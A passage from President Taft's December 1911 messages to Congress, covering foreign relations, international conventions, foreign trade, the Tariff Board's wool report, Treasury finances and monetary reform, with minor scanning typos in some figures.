new King.EUROPE AND THE NEAR EAST.In Europe and the Near East, during the past twelve-month, there has been\nat times considerable political unrest. The Moroccan question, which for\nsome months was the cause of great anxiety, happily appears to have reached\na stage at which it need no longer be regarded with concern. The Ottoman\nEmpire was occupied for a period by strife in Albania and is now at war\nwith Italy. In Greece and the Balkan countries the disquieting\npotentialities of this situation have been more or less felt. Persia has\nbeen the scene of a long internal struggle. These conditions have been the\ncause of uneasiness in European diplomacy, but thus far without direct\npolitical concern to the United States.In the war which unhappily exists between Italy and Turkey this Government\nhas no direct political interest, and I took occasion at the suitable time\nto issue a proclamation of neutrality in that conflict. At the same time\nall necessary steps have been taken to safeguard the personal interests of\nAmerican citizens and organizations in so far as affected by the war.COMMERCE WITH THE NEAR EAST.In spite of the attendant economic uncertainties and detriments to\ncommerce, the United States has gained markedly in its commercial standing\nwith certain of the nations of the Near East. Turkey, especially, is\nbeginning to come into closer relations with the United States through the\nnew interest of American manufacturers and exporters in the possibilities\nof those regions, and it is hoped that foundations are being laid for a\nlarge and mutually beneficial exchange of commodities between the two\ncountries. This new interest of Turkey in American goods is indicated by\nthe fact that a party of prominent merchants from a large city in Turkey\nrecently visited the United States to study conditions of manufacture and\nexport here, and to get into personal touch with American merchants, with a\nview to cooperating more intelligently in opening up the markets of Turkey\nand the adjacent countries to our manufactures. Another indication of this\nnew interest of America in the commerce of the Near East is the recent\nvisit of a large party of American merchants and manufacturers to central\nand eastern Europe, where they were entertained by prominent officials and\norganizations of the large cities, and new bonds of friendship and\nunderstanding were established which can not but lead to closer and greater\ncommercial interchange.CORONATION OF KING GEORGE V.The 22d of June of the present year marked the coronation of His Britannic\nMajesty King George V. In honor of this auspicious occasion I sent a\nspecial embassy to London. The courteous and cordial welcome extended to\nthis Government's representatives by His Majesty and the people of Great\nBritain has further emphasized the strong bonds of friendship happily\nexisting between the two nations.SETTLEMENT OF LONG-STANDING DIFFERENCES WITH GREAT BRITAIN.As the result of a determined effort on the part of both Great Britain and\nthe United States to settle all of their outstanding differences a number\nof treaties have been entered into between the two countries in recent\nyears, by which nearly all of the unsettled questions between them of any\nimportance have either been adjusted by agreement or arrangements made for\ntheir settlement by arbitration. A number of the unsettled questions\nreferred to consist of pecuniary claims presented by each country against\nthe other, and in order that as many of these claims as possible should be\nsettled by arbitration a special agreement for that purpose was entered\ninto between the two Governments on the 18th day of August, 1910, in\naccordance with Article 11 of the general arbitration treaty with Great\nBritain of April 4, 19o8. Pursuant to the provisions of this special\nagreement a schedule of claims has already been agreed upon, and the\nspecial agreement, together with this schedule, received the approval of\nthe Senate when submitted to it for that purpose at the last session of\nCongress. Negotiations between the two Governments for the preparation of\nan additional schedule of claims are already well advanced, and it is my\nintention to submit such schedule as soon as it is agreed upon to the\nSenate for its approval, in order that the arbitration proceedings may be\nundertaken at an early date. In this connection the attention of Congress\nis particularly called to the necessity for an appropriation\nto cover the expense incurred in submitting these claims to arbitration.PRESENTATION TO GERMANY OF REPLICA OF VON STEUBEN STATUE.In pursuance of the act of Congress, approved June 23, 1910, the Secretary\nof State and the joint Committee on the Library entered into a contract\nwith the sculptor, Albert Jaegers, for the execution of a bronze replica of\nthe statue of Gen. von Steuben erected in Washington, for presentation to\nHis Majesty the German Emperor and the German nation in recognition of the\ngift of the statue of Frederick the Great made by the Emperor to the people\nof the United States.The presentation was made on September 2 last by representatives whom I\ncommissioned as the special mission of this Government for the purpose.The German Emperor has conveyed to me by telegraph, on his own behalf and\nthat of the German people, an expression of appreciative thanks for this\naction of Congress. RUSSIA.By direction of the State Department, our ambassador to Russia has recently\nbeen having a series of conferences with the minister of foreign affairs of\nRussia, with a view to securing a clearer understanding and construction of\nthe treaty of 1832 between Russia and the United States and the\nmodification of any existing Russian regulations which may be found to\ninterfere in any way with the full recognition of the rights of American\ncitizens under this treaty. I believe that the Government of Russia is\naddressing itself seriously to the need of changing the present practice\nunder the treaty and that sufficient progress has been made to warrant the\ncontinuance of these conferences in the hope that there may soon be removed\nany justification of the complaints of treaty violation now prevalent in\nthis country.I expect that immediately after the Christmas recess I shall be able to\nmake a further communication to Congress on this subject. LIBERIA.Negotiations for the amelioration of conditions found to exist in Liberia\nby the American commission, undertaken through the Department of State,\nhave been concluded and it is only necessary for certain formalities to be\narranged in securing the loan which it is hoped will place that republic on\na practical financial and economic footing.RECOGNITION OF PORTUGUESE REPUBLIC.The National Constituent Assembly, regularly elected by the vote of the\nPortuguese people, having on June 19 last unanimously proclaimed a\nrepublican form of government, the official recognition of the Government\nof the United States was given to the new Republic in the afternoon of the\nsame day.SPITZBERGEN ISLANDS.Negotiations for the betterment of conditions existing in the Spitzbergen\nIslands and the adjustment of conflicting claims of American citizens and\nNorwegian subjects to lands in that archipelago are still in progress.INTERNATIONAL CONVENTIONS AND CONFERENCES.INTERNATIONAL PRIZE COURT.The supplementary protocol to The he Hague convention for the establishment\nof an international prize court, mentioned in my last annual message,\nembodying stipulations providing for an alternative procedure which would\nremove the constitutional objection to that part of The Hague convention\nwhich provides that there may be an appeal to the proposed court from the\ndecisions of national courts, has received the signature of the governments\nparties to the original convention and has been ratified by the Government\nof the United States, together with the prize court convention.The deposit of the ratifications with the Government of the Netherlands\nawaits action by the powers on the declaration, signed at London on\nFebruary 26, 1909 of the rules of international law to be recognized within\nthe meaning of article 7 of The Hague convention for the establishment of\nan International Prize Court.FUR-SEAL TREATY.The fur-seal controversy, which for nearly twenty-five years has been the\nsource of serious friction between the United States and the powers\nbordering upon the north Pacific Ocean, whose subjects have been permitted\nto engage in pelagic sealing against the fur-seal herds having their\nbreeding grounds within the jurisdiction of the United States, has at last\nbeen satisfactorily adjusted by the conclusion of the north Pacific sealing\nconvention entered into between the United States, Great Britain, Japan,\nand Russia on the 7th of July last. This convention is a conservation\nmeasure of very great importance, and if it is carried out in the spirit of\nreciprocal concession and advantage upon which it is based, there is every\nreason to believe that not only will it result in preserving the fur-seal\nherds of the north Pacific Ocean and restoring them to their former value\nfor the purposes of commerce, but also that it will afford a permanently\nsatisfactory settlement of a question the only other solution of which\nseemed to be the total destruction of the fur seals. In another aspect,\nalso, this convention is of importance in that it furnishes an illustration\nof the feasibility of securing a general international game law for the\nprotection of other mammals of the sea, the preservation of which is of\nimportance to all the nations of the world.LEGISLATION NECESSARY.The attention of Congress is especially called to the necessity for\nlegislation on the part of the United States for the purpose of fulfilling\nthe obligations assumed under this convention, to which the Senate gave its\nadvice and consent on the 24th day of July last.PROTECTION OF INDUSTRIAL PROPERTY UNION.The conference of the International Union for the Protection of Industrial\nProperty, which, under the authority of Congress, convened at Washington on\nMay 16, 1911, closed its labors on June 2, 1911, by the signature of three\nacts, as follows:(I) A convention revising the Paris convention of March 20, 1883, for the\nprotection of industrial property, as modified by the additional act signed\nat Brussels on December 14, 1900;(2) An arrangement to replace the arrangement signed at Madrid on April 14,\n1891 for the international registration of trade-marks, and the additional\nact with regard thereto signed at Brussels on December 14, 1900; and(3) An arrangement to replace the arrangement signed at Madrid on April 14,\n1891, relating to the repression of false indication of production of\nmerchandise.The United States is a signatory of the first convention only, and this\nwill be promptly submitted to the Senate.INTERNATIONAL OPIUM COMMISSION.In a special message transmitted to the Congress on the 11th of January,\n1911, in which I concurred in the recommendations made by the Secretary of\nState in regard to certain needful legislation for the control of our\ninterstate and foreign traffic in opium and other menacing drugs, I quoted\nfrom my annual message of December 7, 1909, in which I announced that the\nresults of the International Opium Commission held at Shanghai in February,\n1909, at the invitation of the United States, had been laid before this\nGovernment; that the report of that commission showed that China was making\nremarkable progress and admirable efforts toward the eradication of the\nopium evil; that the interested governments had not permitted their\ncommercial interests to prevent their cooperation in this reform; and, as a\nresult of collateral investigations of the opium question in this country,\nI recommended that the manufacture, sale, and use of opium in the United\nStates should be more rigorously controlled by legislation.Prior to that time and in continuation of the policy of this Government to\nsecure the cooperation of the interested nations, the United States\nproposed an international opium conference with full powers for the purpose\nof clothing with the force of international law the resolutions adopted by\nthe above-mentioned commission, together with their essential corollaries.\nThe other powers concerned cordially responded to the proposal of this\nGovernment, and, I am glad to be able to announce, representatives of all\nthe powers assembled in conference at The Hague on the first of this\nmonth.Since the passage of the opium-exclusion act, more than twenty States have\nbeen animated to modify their pharmacy laws and bring them in accord with\nthe spirit of that act, thus stamping out, to a measure, the intrastate\ntraffic in opium and other habit-forming drugs. But, although I have urged\non the Congress the passage of certain measures for Federal control of the\ninterstate and foreign traffic in these drugs, no action has yet been\ntaken. In view of the fact that there is now sitting at The Hague so\nimportant a conference, which has under review the municipal laws of the\ndifferent nations for the mitigation of their opium and other allied evils,\na conference which will certainly deal with the international aspects of\nthese evils, it seems to me most essential that the Congress should take\nimmediate action on the anti-narcotic legislation to which I have already\ncalled attention by a special message.BUENOS AIRES CONVENTIONS.The four important conventions signed at the Fourth Pan American Conference\nat Buenos Aires, providing for the regulation of trademarks, patents, and\ncopyrights, and for the arbitration of pecuniary claims, have, with the\nadvice and consent of the Senate, been ratified on the part of the United\nStates and the ratifications have been deposited with the Government of the\nArgentine Republic in accordance with the requirements of the conventions.\nI am not advised that similar action has been taken by any other of the\nsignatory governments.INTERNATIONAL ARRANGEMENT TO SUPPRESS OBSCENE PUBLICATIONS.One of the notable advances in international morality accomplished in\nrecent years was an arrangement entered into on April 13th of the present\nyear between the United States and other powers for the repression of the\ncirculation of obscene publications.FOREIGN TRADE RELATIONS OF THE UNITED STATES.In my last annual message I referred to the tariff negotiations of the\nDepartment of State with foreign countries in connection with the\napplication, by a series of proclamations, of the minimum tariff of the\nUnited States to importations from the several countries, and I stated\nthat, in its general operation, section 2 of the new tariff law had proved\na guaranty of continued commercial peace, although there were,\nunfortunately, instances where foreign governments dealt arbitrarily with\nAmerican interests within their jurisdiction in a manner injurious and\ninequitable. During the past year some instances of discriminatory\ntreatment have been removed, but I regret to say that there remain a few\ncases of differential treatment adverse to the commerce of the United\nStates. While none of these instances now appears to amount to undue\ndiscrimination in the sense of section 2 Of the tariff law of August 5,\n1909, they are all exceptions to that complete degree of equality of tariff\ntreatment that the Department of State has consistently sought to obtain\nfor American commerce abroad.While the double tariff feature of the tariff law of 1909 has been amply\njustified by the results achieved in removing former and preventing new,\nundue discriminations against American commerce it is believed that the\ntime has come for the amendment of this feature of the law in such way as\nto provide a graduated means of meeting varying degrees of discriminatory\ntreatment of American commerce in foreign countries as well as to protect\nthe financial interests abroad of American citizens against arbitrary and\ninjurious treatment on the part of foreign governments through either\nlegislative or administrative measures.It would seem desirable that the maximum tariff of the United States should\nembrace within its purview the free list, which is not the case at the\npresent time, in order that it might have reasonable significance to the\ngovernments of those countries from which the importations into the United\nStates are confined virtually to articles on the free list.RECORD OF HIGHEST AMOUNT OF FOREIGN TRADE.The fiscal year ended June 30, 1911, shows great progress in the\ndevelopment of American trade. It was noteworthy as marking the highest\nrecord of exports of American products to foreign countries, the valuation\nbeing in excess of $2,000,000,000. These exports showed a gain over the\npreceding year of more than $300,000,000.FACILITIES FOR FOREIGN TRADE FURNISHED BY JOINT ACTION OF DEPARTMENT OF\nSTATE AND OF COMMERCE AND LABOR.There is widespread appreciation expressed by the business interests of the\ncountry as regards the practical value of the facilities now offered by the\nDepartment of State and the Department of Commerce and Labor for the\nfurtherance of American commerce. Conferences with their officers at\nWashington who have an expert knowledge of trade conditions in foreign\ncountries and with consular officers and commercial agents of the\nDepartment of Commerce and Labor who, while on leave of absence, visit the\nprincipal industrial centers of the United States, have been found of great\nvalue. These trade conferences are regarded as a particularly promising\nmethod of governmental aid in foreign trade promotion. The Department of\nCommerce and Labor has arranged to give publicity to the expected arrival\nand the itinerary of consular officers and commercial agents while on leave\nin the United States, in order that trade organizations may arrange for\nconferences with them.As I have indicated, it is increasingly clear that to obtain and maintain\nthat equity and substantial equality of treatment essential to the\nflourishing foreign trade, which becomes year by year more important to the\nindustrial and commercial welfare of the United States, we should have a\nflexibility of tariff sufficient for the give and take of negotiation by\nthe Department of State on behalf of our commerce and industry.CRYING NEED FOR AMERICAN MERCHANT MARINE.I need hardly reiterate the conviction that there should speedily be built\nup an American merchant marine. This is necessary to assure favorable\ntransportation facilities to our great ocean-borne commerce as well as to\nsupplement the Navy with an adequate reserve of ships and men It would have\nthe economic advantage of keeping at home part of the vast sums now paid\nforeign shipping for carrying American goods. All the great commercial\nnations pay heavy subsidies to their merchant marine so that it is obvious\nthat without some wise aid from the Congress the United States must lag\nbehind in the matter of merchant marine in its present anomalous position.EXTENSION OF AMERICAN BANKING TO FOREIGN COUNTRIES.Legislation to facilitate the extension of American banks to foreign\ncountries is another matter in which our foreign trade needs assistance.CHAMBERS OF FOREIGN COMMERCE SUGGESTED.The interests of our foreign commerce are nonpartisan, and as a factor in\nprosperity are as broad as the land. In the dissemination of useful\ninformation and in the coordination of effort certain unofficial\nassociations have done good work toward the promotion of foreign commerce.\nIt is cause for regret, however, that the great number of such associations\nand the comparative lack of cooperation between them fails to secure an\nefficiency commensurate with the public interest. Through the agency of the\nDepartment of Commerce and Labor, and in some cases directly, the\nDepartment of State transmits to reputable business interests information\nof commercial opportunities, supplementing the regular published consular\nreports. Some central organization in touch with associations and chambers\nof commerce throughout the country and able to keep purely American\ninterests in closer touch with different phases of commercial affairs\nwould, I believe, be of great value. Such organization might be managed by\na committee composed of a small number of those now actively carrying on\nthe work of some of the larger associations, and there might be added to\nthe committee, as members ex officio, one or two officials of the\nDepartment of State and one or two officials from the Department of\nCommerce and Labor and representatives of the appropriate committees of\nCongress. The authority and success of such an organization would evidently\nbe enhanced if the Congress should see fit to prescribe its scope and\norganization through legislation which would give to it some such official\nstanding as that, for example, of the National Red Cross.With these factors and the continuance of the foreign-service establishment\n(departmental, diplomatic, and consular) upon the high plane where it has\nbeen placed by the recent reorganization this Government would be abreast\nof the times in fostering the interests of its foreign trade, and the rest\nmust be left to the energy and enterprise of our business men.IMPROVEMENT OF THE FOREIGN SERVICE.The entire foreign-service organization is being improved and developed\nwith especial regard to the requirements of the commercial interests of the\ncountry. The rapid growth of our foreign trade makes it of the utmost\nimportance that governmental agencies through which that trade is to be\naided and protected should possess a high degree of efficiency. Not only\nshould the foreign representatives be maintained upon a generous scale in\nso far as salaries and establishments are concerned, but the selection and\nadvancement of officers should be definitely and permanently regulated by\nlaw so that the service shall not fail to attract men of high character and\nability. The experience of the past few years with a partial application of\ncivil-service rules to the Diplomatic and Consular Service leaves no doubt\nin my mind of the wisdom of a wider and more permanent extension of those\nprinciples to both branches of the foreign service. The men selected for\nappointment by means of the existing executive regulations have been of a\nfar higher average of intelligence and ability than the men appointed\nbefore the regulations were promulgated. Moreover, the feeling that under\nthe existing rules there is reasonable hope for permanence of tenure during\ngood behavior and for promotion for meritorious service has served to bring\nabout a zealous activity in the interests of the country, which never\nbefore existed or could exist. It is my earnest conviction that the\nenactment into law of the general principles of the existing regulations\ncan not fail to effect further improvement in both branches of the foreign\nservice by providing greater inducement for young men of character and\nability to seek a career abroad in the service of the Government, and an\nincentive to those already in the service to put forth greater efforts to\nattain the high standards which the successful conduct of our international\nrelations and commerce requires.I therefore again commend to the favorable action of the Congress the\nenactment of a law applying to the diplomatic and consular service the\nprinciples embodied in section 1753 of the Revised Statutes of the United\nStates, in the civil-service act of January 16, 1883, and the Executive\norders of June 27, 1906, and of November 26, 1909. In its consideration of\nthis important subject I desire to recall to the attention of the Congress\nthe very favorable report made on the Lowden bill for the improvement of\nthe foreign service by the Foreign Affairs Committee of the House of\nRepresentatives. Available statistics show the strictness with which the\nmerit system has been applied to the foreign service during recent years\nand the absolute nonpartisan selection of consuls and diplomatic-service\nsecretaries who, indeed, far from being selected with any view to political\nconsideration, have actually been chosen to a disproportionate extent from\nStates which would have been unrepresented in the foreign service under the\nsystem which it is to be hoped is now permanently obsolete. Some\nlegislation for the perpetuation of the present system of examinations and\npromotions upon merit and efficiency would be of greatest value to our\ncommercial and international interests.PART III.THE WHITE HOUSE, December 20, 1911. To the Senate and House of\nRepresentatives:In my annual message to Congress, December, 1909, I stated that under\nsection 2 of the act of August 5, 1909, I had appointed a Tariff Board of\nthree members to cooperate with the State Department in the administration\nof the maximum and minimum clause of that act, to make a glossary or\nencyclopedia of the existing tariff so as to render its terms intelligible\nto the ordinary reader, and then to investigate industrial conditions and\ncosts of production at home and abroad with a view to determining to what\nextent existing tariff rates actually exemplify the protective principle,\nviz., that duties should be made adequate, and only adequate, to equalize\nthe difference in cost of production at home and abroad.I further stated that I believed these investigations would be of great\nvalue as a basis for accurate legislation, and that I should from time to\ntime recommend to Congress the revision of certain schedules in accordance\nwith the findings of the Board.In the last session of the Sixty-first Congress a bill creating a permanent\nTariff Board of five members, of whom not more than three should be of the\nsame political party, passed each House, but failed of enactment because of\nslight differences on which agreement was not reached before adjournment.\nAn appropriation act provided that the permanent Tariff Board, if created\nby statute, should report to Congress on Schedule K in December, 1911.Therefore, to carry out so far as lay within my power the purposes of this\nbill for a permanent Tariff Board, I appointed in March, 1911, a board of\nfive, adding two members of such party affiliation as would have fulfilled\nthe statutory requirement, and directed them to make a report to me on\nSchedule K of the tariff act in December of this year.In my message of August 17, 1911, accompanying the veto of the wool bill, I\nsaid that, in my judgment, Schedule K should be revised and the rates\nreduced. My veto was based on the ground that, since the Tariff Board would\nmake, in December, a detailed report on wool and wool manufactures, with\nspecial reference to the relation of the existing rates of duties to\nrelative costs here and abroad, public policy and a fair regard to the\ninterests of the producers and the manufacturers on the one hand and of the\nconsumers on the other demanded that legislation should not be hastily\nenacted in the absence of such information; that I was not myself possessed\nat that time of adequate knowledge of the facts to determine whether or not\nthe proposed act was in accord with my pledge to support a fair and\nreasonable protective policy; that such legislation might prove only\ntemporary and inflict upon a great industry the evils of continued\nuncertainty.I now herewith submit a report of the Tariff Board on Schedule K. The board\nis unanimous in its findings. On the basis of these findings I now\nrecommend that the Congress proceed to a consideration of this schedule\nwith a view to its revision and a general reduction of its rates.The report shows that the present method of assessing the duty on raw\nWool--this is, by a specific rate on the grease pound (i. e., unscoured)\n--operates to exclude wools of high shrinkage in scouring but fine quality\nfrom the American market and thereby lessens the range of wools available\nto the domestic manufacturer; that the duty on scoured wool Of 33 cents per\npound is prohibitory and operates to exclude the importation of clean,\nlow-priced foreign wools of inferior grades, which are nevertheless\nvaluable material for manufacturing, and which can not be imported in the\ngrease because of their heavy shrinkage. Such wools, if imported, might be\nused to displace the cheap substitutes now in use.To make the preceding paragraph a little plainer, take the instance of a\nhundred pounds of first-class wool imported under the present duty, which\nis 11 cents a pound. That would make the duty on the hundred pounds $11.\nThe merchantable part of the wool thus imported is the weight of the wool\nof this hundred pounds after scouring. If the wool shrinks 80 per cent, as\nsome wools do, then the duty in such a case would amount to $11 $11 on 20\npounds of scoured wool. This, of course, would be prohibitory. If the wool\nshrinks only 50 per cent, it would be $11 on 50 pounds of wool, and this is\nnear to the average of the great bulk of wools that are imported from\nAustralia, which is the principal source of our imported wool.These discriminations could be overcome by assessing a duty in ad valorem\nterms, but this method is open to the objection, first, that it increases\nadministrative difficulties and tends to decrease revenue through\nundervaluation; and, second, that as prices advance, the ad valorem rate\nincreases the duty per pound at the time when the consumer most needs\nrelief and the producer can best stand competition; while if prices decline\nthe duty is decreased at the time when the consumer is least burdened by\nthe price and the producer most needs protection.Another method of meeting the difficulty of taxing the grease pound is to\nassess a specific duty on grease wool in terms of its scoured content. This\nobviates the chief evil of the present system, namely, the discrimination\ndue to different shrinkages, and thereby tends greatly to equalize the\nduty. The board reports that this method is feasible in practice and could\nbe administered without great expense. The scoured content of the wool is\nthe basis on which users of wool make their calculations, and a duty of\nthis kind would fit the usages of the trade. One effect of this method of\nassessment would be that, regardless of the rate of duty, there would be\nan increase in the supply and variety of wool by making available to the\nAmerican market wools of both low and fine quality now excluded.The report shows in detail the difficulties involved in attempting to state\nin categorical terms the cost of wool production and the great differences\nin cost as between different regions and different types of wool. It is\nfound, however, that, taking all varieties in account, the average cost of\nproduction for the whole American clip is higher than the cost in the chief\ncompeting country by an amount somewhat less than the present duty.The report shows that the duties on wools, wool wastes, and shoddy, which\nare adjusted to the rate Of 33 cents on scoured wool are prohibitory in the\nsame measure that the duty on scoured wool is prohibitory. In general, they\nare assessed at rates as high as, or higher than, the duties paid on the\nclean content of wools actually imported. They should be reduced and so\nadjusted to the rate on wool as to bear their proper proportion to the real\nrate levied on the actual wool imports.The duties on many classes of wool manufacture are prohibitory and greatly\nin excess of the difference in cost of production here and abroad.This is true of tops, of yarns (with the exception of worsted yarns of a\nvery high grade), and of low and medium grade cloth of heavy weight.On tops up to 52 cents a pound in value, and on yarns of 65 cents in value,\nthe rate is 100 per cent with correspondingly higher rates for lower\nvalues. On cheap and medium grade cloths, the existing rates frequently run\nto 150 per cent and on some cheap goods to over 200 per cent. This is\nlargely due to that part of the duty which is levied ostensibly to\ncompensate the manufacturer for the enhanced cost of his raw material due\nto the duty on wool. As a matter of fact, this compensatory duty, for\nnumerous classes of goods, is much in excess of the amount needed for\nstrict compensation.On the other hand, the findings show that the duties which run to such high\nad valorem equivalents are prohibitory, since the goods are not imported,\nbut that the prices of domestic fabrics are not raised by the full amount\nof duty. On a set of 1-yard samples of 16 English fabrics, which are\ncompletely excluded by the present tariff rates, it was found that the\ntotal foreign value was $41.84; the duties which would have been assessed\nhad these fabrics been imported, $76.90; the foreign value plus the amount\nof the duty, $118.74; or a nominal duty of 183 per cent. In fact, however,\npractically identical fabrics of domestic make sold at the same time at\n$69.75, showing an enhanced price over the foreign market value of but 67\nper cent.Although these duties do not increase prices of domestic goods by anything\nlike their full amount, it is none the less true that such prohibitive\nduties eliminate the possibility of foreign competition, even in time of\nscarcity; that they form a temptation to monopoly and conspiracies to\ncontrol domestic prices; that they are much in excess of the difference in\ncost of production here and abroad, and that they should be reduced to a\npoint which accords with this principle.The findings of the board show that in this industry the actual\nmanufacturing cost, aside from the question of the price of materials, is\nmuch higher in this country than it is abroad; that in the making of yarn\nand cloth the domestic woolen or worsted manufacturer has in general no\nadvantage in the form of superior machinery or more efficient labor to\noffset the higher wages paid in this country The findings show that the\ncost of turning wool into yarn in this country is about double that in the\nleading competing country, and that the cost of turning yarn into cloth is\nsomewhat more than double. Under the protective policy a great industry,\ninvolving the welfare of hundreds of thousands of people, has been\nestablished despite these handicaps.In recommending revision and reduction, I therefore urge that action be\ntaken with these facts in mind, to the end that an important and\nestablished industry may not be jeopardized.The Tariff Board reports that no equitable method has been found to, levy\npurely specific duties on woolen and worsted fabrics and that, excepting\nfor a compensatory duty, the rate must be ad valorem on such manufactures.\nIt is important to realize, however, that no flat ad valorem rate on such\nfabrics can be made to work fairly and effectively. Any single rate which\nis high enough to equalize the difference in manufacturing cost at home and\nabroad on highly finished goods involving such labor would be prohibitory\non cheaper goods, in which the labor cost is a smaller proportion of the\ntotal value. Conversely, a rate only adequate to equalize this difference\non cheaper goods would remove protection from the fine-goods manufacture,\nthe increase in which has been one of the striking features of the trade's\ndevelopment in recent years. I therefore recommend that in any revision the\nimportance of a graduated scale of ad valorem duties on cloths be carefully\nconsidered and applied.I venture to say that no legislative body has ever had presented to it a\nmore complete and exhaustive report than this on so difficult and\ncomplicated a subject as the relative costs of wool and woolens the world\nover. It is a monument to the thoroughness, industry, impartiality, and\naccuracy of the men engaged in its making. They were chosen from both\npolitical parties but have allowed no partisan spirit to prompt or control\ntheir inquiries. They are unanimous in their findings. I feel sure that\nafter the report has been printed and studied the value of such a\ncompendium of exact knowledge in respect to this schedule of the tariff\nwill convince all of the wisdom of making such a board permanent in order\nthat it may treat each schedule of the tariff as it has treated this, and\nthen keep its bureau of information up to date with current changes in the\neconomic world.It is no part of the function of the Tariff Board to propose rates of duty.\nTheir function is merely to present findings of fact on which rates of duty\nmay be fairly determined in the light of adequate knowledge in accord with\nthe economic policy to be followed. This is what the present report does.The findings of fact by the board show ample reason for the revision\ndownward of Schedule K, in accord with the protective principle, and\npresent the data as to relative costs and prices from which may be\ndetermined what rates will fairly equalize the difference in production\ncosts. I recommend that such revision be proceeded with at once.PART IV.THE WHITE HOUSE, December 21, 1911. To the Senate and House of\nRepresentatives:The financial condition of the Government, as shown at the close of the\nlast fiscal year, June 30, 1911, was very satisfactory. The ordinary\nreceipts into the general fund, excluding postal revenues, amounted to\n$701,372,374.99, and the disbursements from the general fund for current\nexpenses and capital outlays, excluding postal and Panama Canal\ndisbursements, including the interest on the public debt, amounted to\n$654,137,907-89, leaving a surplus Of $47,234,377.10.The postal revenue receipts amounted to $237,879,823,60, while the payments\nmade for the postal service from the postal revenues amounted to\n$237,660,705.48, which left a surplus of postal receipts over disbursements\nOf $219,118.12, the first time in 27 years in which a surplus occurred.The interest-bearing debt of the United States June 30, 1911, amounted to\n$915,353,190. The debt on which interest had ceased amounted to\n$1,879,830.26, and the debt bearing no interest, including greenbacks,\nnational bank notes to be redeemed, and fractional currency, amounted to\n$386,751,917-43, or a total of interest and noninterest bearing debt\namounting to $1,303,984,937.69.The actual disbursements, exclusive of those for the Panama Canal and for\nthe postal service for the year ending June 30, 1911, were $654,137,997.89.\nThe actual disbursements for the year ending June 30, 1910, exclusive of\nthe Panama Canal and the postal service disbursements, were\n$659,705,391.08, making a decrease Of $5,567,393.19 in yearly expenditures\nin the year 1911 under that of 1910. For the year ending June 30, 1912, the\nestimated receipts, exclusive of the postal revenues, are $666,000,000,\nwhile the total estimates, exclusive of those for the Panama Canal and the\npostal expenditures payable from the postal revenues, amount to\n$645,842,799.34. This is a decrease in the 1912 estimates from that of the\n1911 estimates of $1,534,367-22.For the year ending June 30, 1913, the estimated receipts, exclusive of the\npostal revenues, are $667,000,000, while the total estimated\nappropriations, exclusive of the Panama Canal and postal disbursements\npayable from postal revenues, will amount to $637,920,803.35. This is a\ndecrease in the 1913 estimates from that of the 1912 estimates of\n$7,921,995.99.As to the postal revenues, the expansion of the business in that\ndepartment, the normal increase in the Post Office and the extension of the\nservice, will increase the outlay to the sum Of $260,938,463; but as the\ndepartment was self-sustaining this year the Postmaster General is assured\nthat next year the receipts will at least equal the expenditures, and\nprobably exceed them by more than the surplus of this year. It is fair and\nequitable, therefore, in determining the economy with which the Government\nhas been run, to exclude the transactions of a department like the Post\nOffice Department, which relies for its support upon its receipts. In\ncalculations heretofore made for comparison of economy in each year, it has\nbeen the proper custom only to include in the statement the deficit in the\nPost Office Department which was paid out of the Treasury.A calculation of the actual increase in the expenses of Government arising\nfrom the increase in the population and the general expansion of\ngovernmental functions, except those of the Post Office, for a number of\nyears shows a normal increase of about 4 per cent a year. By directing the\nexercise of great care to keep down the expenses and the estimates we have\nsucceeded in reducing the total disbursements each year.THE CREDIT OF THE UNITED STATES.The credit of this Government was shown to be better than that of any other\nGovernment by the sale of the Panama Canal 3 per cent bonds. These bonds\ndid not give their owners the privilege of using them as a basis for\nbank-note circulation, nor was there any other privilege extended to them\nwhich would affect their general market value. Their sale, therefore,\nmeasured the credit of the Government. The premium which was realized upon\nthe bonds made the actual interest rate of the transaction 2.909 per cent.EFFICIENCY AND ECONOMY IN THE TREASURY DEPARTMENT.I In the Treasury Department the efficiency and economy work has been kept\nsteadily up. Provision is made for the elimination of 134 positions during\nthe coming year. Two hundred and sixty-seven statutory positions were\neliminated during the last year in the office of the Treasury in\nWashington, and 141 positions in the year 1910, making an elimination Of\n542 statutory positions since March 4, 1909; and this has been done without\nthe discharge of anybody, because the normal resignations and deaths have\nbeen equal to the elimination of the places, a system of transfers having\ntaken care of the persons whose positions were dropped out. In the field\nservice if the department, too, 1,259 positions have been eliminated down\nto the present time, making a total net reduction of all Treasury positions\nto the number of 1,801. Meantime the efficiency of the work of the\ndepartment has increased.MONETARY REFORM.A matter of first importance that will come before Congress for action at\nthis session is monetary reform. The Congress has itself arranged an early\nintroduction of this great question through the report of its Monetary\nCommission. This commission was appointed to recommend a solution of the\nbanking and currency problems so long confronting the Nation and to furnish\nthe facts and data necessary to enable the Congress to take action. The\ncommission was appointed when an impressive and urgent popular demand for\nlegislative relief suddenly arose out of the distressing situation of the\npeople caused by the deplorable panic of 1907. The Congress decided that\nwhile it could not give immediately the relief required, it would provide a\ncommission to furnish the means for prompt action at a later date.In order to do its work with thoroughness and precision this commission has\ntaken some time to make its report. The country is undoubtedly hoping for\nas prompt action on the report as the convenience of the Congress can\npermit. The recognition of the gross imperfections and marked inadequacy of\nour banking and currency system even in our most quiet financial periods is\nof long standing; and later there has matured a recognition of the fact\nthat our system is responsible for the extraordinary devastation, waste,\nand business paralysis of our recurring periods of panic. Though the\nmembers of the Monetary Commission have for a considerable time been\nworking in the open, and while large numbers of the people have been openly\nworking with them, and while the press has largely noted and discussed this\nwork as it has proceeded, so that the report of the commission promises to\nrepresent a national movement, the details of the report are still being\nconsidered. I can not, therefore, do much more at this time than commend\nthe immense importance of monetary reform, urge prompt consideration and\naction when the commission's report is received, and express my\nsatisfaction that the plan to be proposed promises to embrace main features\nthat, having met the approval of a great preponderance of the practical and\nprofessional opinion of the country, are likely to meet equal approval in\nCongress.It is exceedingly fortunate that the wise and undisputed policy of\nmaintaining unchanged the main features of our banking system rendered it\nat once impossible to introduce a central bank; for a central bank would\ncertainly have been resisted, and a plan into which it could have been\nintroduced would probably have been defeated. But as a central bank could\nnot be a part of the only plan discussed or considered, that troublesome\nquestion is eliminated. And ingenious and novel as the proposed National\nReserve Association appears, it simply is a logical outgrowth of what is\nbest in our present system, and is, in fact, the fulfillment of that\nsystem.Exactly how the management of that association should be organized is a\nquestion still open. It seems to be desirable that the banks which would\nown the association should in the main manage it, It will be an agency of\nthe banks to act for them, and they can be trusted better than anybody else\nchiefly to conduct it. It is mainly bankers' work. But there must be some\nform of Government supervision and ultimate control, and I favor a\nreasonable representation of the Government in the management. I entertain\nno fear of the introduction of politics or of any undesirable influences\nfrom a properly measured Government representation.I trust that all banks of the country possessing the requisite standards\nwill be placed upon a footing of perfect equality of 